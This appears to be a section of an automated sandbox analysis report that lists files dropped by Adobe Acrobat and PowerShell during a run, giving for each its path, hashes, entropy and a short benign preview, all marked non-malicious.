MD5:	50130E6461B6DFE5AD65C41A27F4DE99
SHA1:	2808485EBD90BC26BEFECF44E1907A1AE6A2C81F
SHA-256:	A69414E2CFCE6D08A612F69CF00C735E19F961FC706D44FD7C74616E7D87879D
SHA-512:	DC02F795C11091C0600478A8C285D2D3B780828D0C47A5C1C2245BC1DEEEFE67317336EBA6FB52D9CDD9455904A0D1A53FDBF8857477FCD4B0B4842997781DBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304731379063146
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfYdPeUkwRe9:YvXKXGa0LRPNhT5LjIP8Gg8Ukee9
MD5:	F1F2D7CC8D85E2561D53C9A2AAD0CBD9
SHA1:	F3FCFA2AEE559AC3771BBEC584EABACFE54A8FDC
SHA-256:	8237CC6235F0D8245EEC0ECC985A40D93E4B3CBDCD6E80A9D2B0C5DFF3165811
SHA-512:	4488D76EBB64439969DD2ED38CB6FCEC7FCC5AAD7BBE092E1D0C3BFB33309FC88238D81114D83A0A9A13889A6B6C1D88F8E03849F400AB595FEFEBF6B43A5D2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.291446404433649
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJf+dPeUkwRe9:YvXKXGa0LRPNhT5LjIP8G28Ukee9
MD5:	96D962F310B891C5B70AC2D1A979BC6B
SHA1:	A9DFE8DCBD62D8D577130C7258A78F4119EC3D42
SHA-256:	716CA98D5C0DAA647FBFC4B8EBAC690145ABF653EF977C5C0B503BA60BFD78C5
SHA-512:	B123FBB2635C43235D9350C64D5A21B08CA32BB76B420204FD29DA071FAFF0377339520D994BF2CC3C55C35B8041DCD8AE7E66B3EC6A8BCF16FCFFA688091BD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.288245958667848
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfbPtdPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GDV8Ukee9
MD5:	BE982D8FE86915EF69B5BB3E35F87CA6
SHA1:	C15E43FFF617764A082411FDB124742DCBEAF304
SHA-256:	7D8A3486D210F8A6371E5FF4429C7C9E41099C57E87E60BE85F0C495A90F2A33
SHA-512:	51996B4941B61BEC48A09C3934D94EBD515B4E3A7B256E02C5DDDCD2861758FE968D68D6D0D78CBC7F45110D1CB54796978100FA63B73D66ABF54179D944E32C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.280385756145673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJf21rPeUkwRe9:YvXKXGa0LRPNhT5LjIP8G+16Ukee9
MD5:	B3BF9568026C283DB9F6059AED0C6851
SHA1:	13C7A4E5CBFE0F2A78F112204823821F5F41CD43
SHA-256:	4E80D12042D233F095891D703A1804E83AD98A6A25D9F5D836099B5E06558646
SHA-512:	6FAE6FF8E7060BB6CC19CC9A5FA5A99B9CB7F4BA0C5D72D0164821482764C97B8B8FDEB5A3852DA1C0D06881B8A5EDC58ADE209000B63383561219257DAEC08B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66998122513103
Encrypted:	false
SSDEEP:	24:Yv6X50dPLT5XIhamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSi:Yve0hBXeBgkDMUJUAh8cvMi
MD5:	9793B363FF677244E158E86787A2E41E
SHA1:	361034642DDD6289F69C87AA551604F3DD1D2770
SHA-256:	60D647C8472AAED04D1C5CE1740C863B22334392CFA4C9BE12DB6440D89F8E7A
SHA-512:	E23CF4A88F7834E844CF0696E1CB6A6A19D97566A8F5E81C7516D890AFA3D12B652E3A0822D26A1762A0C63B85154BBD0ECA9020BB06272944C5DD7FE01887F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.256710078584277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJfshHHrPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GUUUkee9
MD5:	A4F5677DE408B18FEE342C21443E7582
SHA1:	0711E06B8A175160BC95DA78D278BC164D392F38
SHA-256:	2A81A508BC37AD0B0C8AC6917B60EFCA3BA75DC94039A65F9B955DCD6964D36E
SHA-512:	D0E64E63D5239FE275F4E241A881DBE8C593D59C0223E51C33F1F900A1DA40152FD9A66B736ECE4A5B2B215E5B3978183164B36E42AD97D3F55E95E74154C99F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.258783290121944
Encrypted:	false
SSDEEP:	6:YEQXJ2HXGa5KLRQbUHJNWmSg1c2LjcWkHvR0YuZeoAvJTqgFCrPeUkwRe9:YvXKXGa0LRPNhT5LjIP8GTq16Ukee9
MD5:	B975EA1553F3E3582DD227FE1FBDF6AE
SHA1:	39F82F2FB17CD6ADBA79E498E98E150EF143D3D0
SHA-256:	4664210E561D6C1FC2E8DECCA2DC0A6954A9FA57958D777439756E013E38C572
SHA-512:	A8E95DB52EDD44E798EA19FC155CE091BABEC7E27BE1F103A1F746104405F6E24339E2EBE4C7B6A9BAD68BD10D1E33D1ACAA19F4975D6D50DAB2A737C9B5967B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b3246584-799e-4227-a16e-a0938e787621","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736703906116,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.126278995592763
Encrypted:	false
SSDEEP:	24:Y24Obva+AayFjWYkqdqxP6ZWXsfuX8Drs4xcjej0SzSeCA/2g2LSzMCykoE8SeQz:Y6amzxP6/deAbdhimopzQexhU9v
MD5:	96D9E28AF399A27FAFE4E3F167C40E99
SHA1:	3A598AA5A8CB094016A639AD92FB1E2101E8A3B7
SHA-256:	DB05D6831FFC5446B184F5B7D4F5A97AC91F2D501CFAACF56DCB6A911BD26049
SHA-512:	3210E2633C0F4C6D5207B2848F65472436B8D318D7CC80A1D5BF44694775E6DD53B8794AB28EC474378D900D45EB2065CFAEC83F51B1E7BB7818385324F32136
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9e11c3122a24a904f107e7beacf34bc3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736525601000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"761bf7fac4f199ee54268fb4326ebba4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736525600000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"dbac4317a5655b69d9b6d48bbaaf34a7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736525600000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c22d088be6bca78ff965ffb835cf0b0e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736525600000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1d98009e62ad596b12dfcc9819aab555","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736525600000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4cf76b2de6f44df84173f888e8704e01","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3661514705646667
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDux27EXKdqEKfS8EKfM1bap27EF:Tll2GL7msMcKTlS8fcsuo7rfIA7I
MD5:	9C07BEC5130DCB1DF2DD0A21BAC88C15
SHA1:	E8EC883698E329F5FD3128706884EED8B89BA9BE
SHA-256:	27D3545AFD58F6FDD9C1818A591CB8EAA7F4ACA59AE91731F6BB888CA1FF3CF1
SHA-512:	B78395BE6BC35C57C46CC4CD72E87C46DA2B8774C800BF1A17228CFAD4B8463466AF2B4A8772907B8827DFC0E209F8DA1506B130D28F3309A59113F6A64F52EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8427583895298887
Encrypted:	false
SSDEEP:	48:7MGcKTlS8fcsuo7efI7xqGufl2GL7mseg:7DDfcsV7wgxKNVmseg
MD5:	353CEC48A870A5C1F26B020F5CB2495B
SHA1:	CD253C379F777645382D216E05F59CDBF605927E
SHA-256:	BB5C8D773C3C58BF07636D4DA389A149C2BA3754BDB5647B739E21CC73D1D577
SHA-512:	13829412F3B7B8FB4711098B4630892C3198B510365FFFB9E328BC5C3E4C49E5F3B727A224FDAEFDE6C0391D4FBEF2BEF8524CAFF6862CB94E07651C2CCA44A4
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguQin7ONZahhiJDlWa/ATRFcfYyu:6a6TZ44ADEZinaN0WJDEa/FK
MD5:	C7509B159312EA0A65ABAA02D130A8E3
SHA1:	53DCB0F85F3363A034BA91A7EEAF54D90DDA56EB
SHA-256:	FF0325364DE20EBFD9719DA007DD02E511B3A40A345963AB0EC879017BC51422
SHA-512:	128ACE95CC260E3B9CB24A915EC40518D3447F04CAAB9D0EE2A8417CCE9E45BCF7ABA40718EE84FEB940A1EAA823C3970AC864148C2FBC1BF0E6FA7D89C3F82D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI6b3ee.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErlYH:Qw946cPbiOxDlbYnuRK+bDxYH
MD5:	8E68893427130C5B7C6732FCB144513C
SHA1:	E5C8262F5685665579AFEFD2AE3EA007D2612AC2
SHA-256:	EEAEF76295961EF6AB81EE255DBFF61EB04A49595926C90A766838937DE0A75E
SHA-512:	882F008290EA3DD5B3C8FA460787781332B629AC93FF121734C9068567D5078F6EC1291C758D960B73284AAE4081E9B50E4C7076F88A93BDB00D1966C60EDC70
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.1.3.:.2.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25uzlrff.1xz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_idcpur1u.2bi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-13-14-390.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.359437150692086
Encrypted:	false
SSDEEP:	384:3t7Qjt5hUxw2BPtUpLxV/d9cwbmd2BZrsr0KIKWKeKuKMIvtNc63jVUcfFwF8xiE:MVJFHTlU
MD5:	F47343E3745024F8C48121BF7FEE9EF4
SHA1:	D8B6755175027A58F9D94B353ED437A5123A14E2
SHA-256:	A0D5A6AB7941CC46C093D7CA651714244DC46776CB10EE1113644A5555E26C0B
SHA-512:	C83E3BE713D1CE2F860FD77825BB697A41907B179288B53E068D23FADDFDCA4C19A18925D43608BA4F0B3DC5F91E36ACEAE61446812F6F2CADED6D5765D6DF65
Malicious:	false
Preview:	SessionID=76177982-c850-4ac3-b8eb-89e270a185fc.1736525594406 Timestamp=2025-01-10T11:13:14:406-0500 ThreadID=1944 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=76177982-c850-4ac3-b8eb-89e270a185fc.1736525594406 Timestamp=2025-01-10T11:13:14:407-0500 ThreadID=1944 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=76177982-c850-4ac3-b8eb-89e270a185fc.1736525594406 Timestamp=2025-01-10T11:13:14:407-0500 ThreadID=1944 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=76177982-c850-4ac3-b8eb-89e270a185fc.1736525594406 Timestamp=2025-01-10T11:13:14:407-0500 ThreadID=1944 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=76177982-c850-4ac3-b8eb-89e270a185fc.1736525594406 Timestamp=2025-01-10T11:13:14:407-0500 ThreadID=1944 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.378133199592636
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbm3QcbmI+ScbZ:8qnXopZ50rrt+B
MD5:	0DE6229302D0D64C278F5867C1707AF1
SHA1:	57CB2C60E3E57D6A5DD5BA06389E478681C5DAB8
SHA-256:	045035ACBA810A88A765CA3EFDF5F08438FED425A8C39A146A82F773CAD9695C
SHA-512:	BD20647813B5261522E37E8F6BFF7144C91CA9D79E63DC66F18B77DAFBE4E82DC5A932CBDF7E9BE23F9108B9283483406C007A06528C773544668D8FB5D187E5
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\417ab20a-aa86-40de-a9e2-78c8a24f5123.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
